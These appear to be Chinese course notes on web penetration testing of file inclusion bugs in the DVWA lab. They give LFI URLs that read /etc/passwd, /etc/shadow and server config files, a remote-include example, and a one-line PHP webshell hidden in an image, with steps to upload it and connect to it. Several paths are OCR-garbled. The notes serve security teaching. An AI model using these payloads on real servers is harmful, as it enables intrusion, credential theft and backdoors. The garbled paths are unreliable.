开发者学堂课程【网络安全攻防 - Web渗透测试:文件包含漏洞渗透攻击_2】学习笔记,与课程紧密联系,让用户快速学习知识。
课程地址:https://developer.aliyun.com/learning/course/630/detail/9902
文件包含漏洞渗透攻击_2
内容介绍
一、 项目实验环境
二、 原理及危害
三、 低安全级别渗透
一、 项目实验环境
首先访问服务器,如下图:
http://172.16.70.214/dvwa/f/?page=/etc/passwd是本地文件;
http://172.16.70.214/dvwa/fi/?page=http://rémote.com/1.txt是远程文件。
二、原理及危害
文件包含漏洞:
即 File Inclusion,意思是文件包含(漏洞),是指当服务器开启 allow_url_include 选项时,就可以通过 php 的某些特性函数(include(),require()和include_once(),require_once())利用 url 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了 php 配置中的allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。
服务器通过 php 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
1) 文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能;
2) 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞;
3) 文件包含漏洞主要发生在有包含语句的环境中,例如 PHP 所具备 include、require 等包含函数。
文件包含分为两类:
1) 本地文件包含LFI(Local File Inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含;
2) 远程文件包含RFI(Remote File Inclusion)当被包含的文件在第三方服务器时,叫做远程文件包含。
三、低安全级别渗透
1.本地文件包含
访问本地系统账号信息及其它敏感信息
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.106.134/dvwa/vulnerabilities/fi/?page-/etc/shadow
http://192.168.106.134/dvwa/vulnerabilities/fi/?page-/etc/php5/.pache2/pho.ini
http://192.168.166.134/dvwa/vulnerabilities/fi/?page-/etc/my5ql/my.cnf
http://192.168.106.134/dvwa/vulnerabilities/f1/?page-/etc/apache2/apache2.conf
2.本地文件包含+webshell
步骤:
1) 制作一句话图片木马 e.g.yangge.jpg
<?fputs(fopen(“shel120.php”,"w"),'<?php eval($_POST[yangge]);?>*)?>
2) 上传图片木马文件
3) 执行文件包含并生成后门
4) 通过菜刀连接 webshell
提示:
/var/www/dvwa/hackable/uploads //dvwa 文件上传访问的目录
/var/www/dvwa/vulnerab11itles/f1 //dvwa 文件包含访问的目录